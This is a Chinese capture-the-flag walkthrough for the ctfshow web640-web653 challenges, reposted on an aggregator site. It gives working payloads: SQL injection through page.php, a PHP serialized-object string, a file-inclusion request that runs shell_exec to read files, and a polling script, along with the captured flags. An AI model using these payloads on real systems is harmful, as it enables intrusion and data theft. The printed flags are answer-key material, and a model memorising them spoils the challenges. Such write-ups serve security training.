ctfshow终极考核web640-web653

Posted yu22x

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ctfshow终极考核web640-web653相关的知识,希望对你有一定的参考价值。

配合脚本学习效果更佳

web641

在请求头中

web642

首页看到敏感路径,抓包得到flag。

web643

通过网络测试功能调用ls命令看到secret.txt,访问后url解码得到flag

web644

首页css中存在路径

访问后跳转到登录界面

查看js得到flag以及登录的密码(0x36d)

web645

备份功能下载下来后可以看到flag

flag_645=ctfshow28b00f799c2e059bafaa1d6bda138d89

web646

通过远程更新功能获取各个文件的源码

在init.php中得到flag

web647

分析users.php,发现想要拿到647flag需要满足如下条件

可以调用一个不带参数的方法,只要方法的返回值是372619038即可。
想到开了session,那么我们可以调用session_id,然后修改phpsessid的值。


flag_647=ctfshowe6ad8304cdb562971999b476d8922219

web648

关键函数

function evilClass($m,$k) 
	class ctfshow 
		public $m;
		public function construct($m) 
			$this->$m=$m;
		
	
	$ctfshow=new ctfshow($m);
	$ctfshow->$m=$m;
	if($ctfshow->$m==$m && $k==shell_exec('cat \\/FLAG\\/FLAG647')) 
		echo shell_exec('cat \\/FLAG\\/FLAG648');
	 else 
		echo 'mmmmm?';
	

随便传个m,然后key传647的值。

payload:
system36d/users.php?action=evilClass&m=1&key=flag_647=ctfshowe6ad8304cdb562971999b476d8922219

flag_648=ctfshowaf5b5e411813eafd8dc2311df30b394e

web649

试了下getArray()方法,发现下标18每次产生的值范围不大而且接近18,当然其他的也有可能。
payload

import requests
url="http://aaadafd2-5e71-4dbf-b257-60eb106c3648.challenge.ctf.show:8080/system36d/users.php?action=evilNumber&m=18&key=flag_648=ctfshowaf5b5e411813eafd8dc2311df30b394e"
while True:
    r=requests.get(url)
    if "ctf" in r.text:
        print(r.text)
        break

flag_649=ctfshow9ad80fcc305b58afbb3a0c2097ac40ef

web650

和647差不多
payload:

url/system36d/users.php?action=evilFunction&m=session_id&key=flag_649=ctfshow9ad80fcc305b58afbb3a0c2097ac40ef

flag_650=ctfshow5eae22d9973a16a0d37c9854504b3029

web651

<?php
class a
    public $username='123';
    public $x="ctfshow";

$a=new a();
echo serialize($a);

payload:

?action=evilArray&m=O:1:"a":2:s:8:"username";s:3:"123";s:7:"ctfshow";s:7:"ctfshow";&key=flag_650=ctfshow5eae22d9973a16a0d37c9854504b3029

flag_651=ctfshowa4c64b86d754b3b132a138e3e0adcaa6

web652

util/dbutil.php存在sql注入
在page.php调用了查询函数


payload:

page.php?id=0) union select secret from ctfshow_secret%23

flag_652=ctfshow4b37ab4b6504d43ea0de9a688f0e3ffa

web653

同样的方式获取ctfshow_keys下的key
payload:

page.php?id=0) union select `key` from ctfshow_keys%23

得到key:key_is_here_you_know
后面就是利用common中的文件包含了

system36d/util/common.php?k=flag_651=ctfshowa4c64b86d754b3b132a138e3e0adcaa6

post:
key=key_is_here_you_know&file=../db/data_you_never_know.db&1=echo shell_exec('cat /s*');

flag_653=ctfshow5526710eb3ed7b4742232d6d6f9ee3a9

以上是关于ctfshow终极考核web640-web653的主要内容,如果未能解决你的问题,请参考以下文章

ctfshow终极考核web654

ctfshow终极考核web655-web665

ctfshow终极考核 web66⑥-web669

ctfshow-终极考核 WEB640-650

ctfshow终极考核(一键通关脚本)

CTFSHOW大赛原题篇(web680-web695)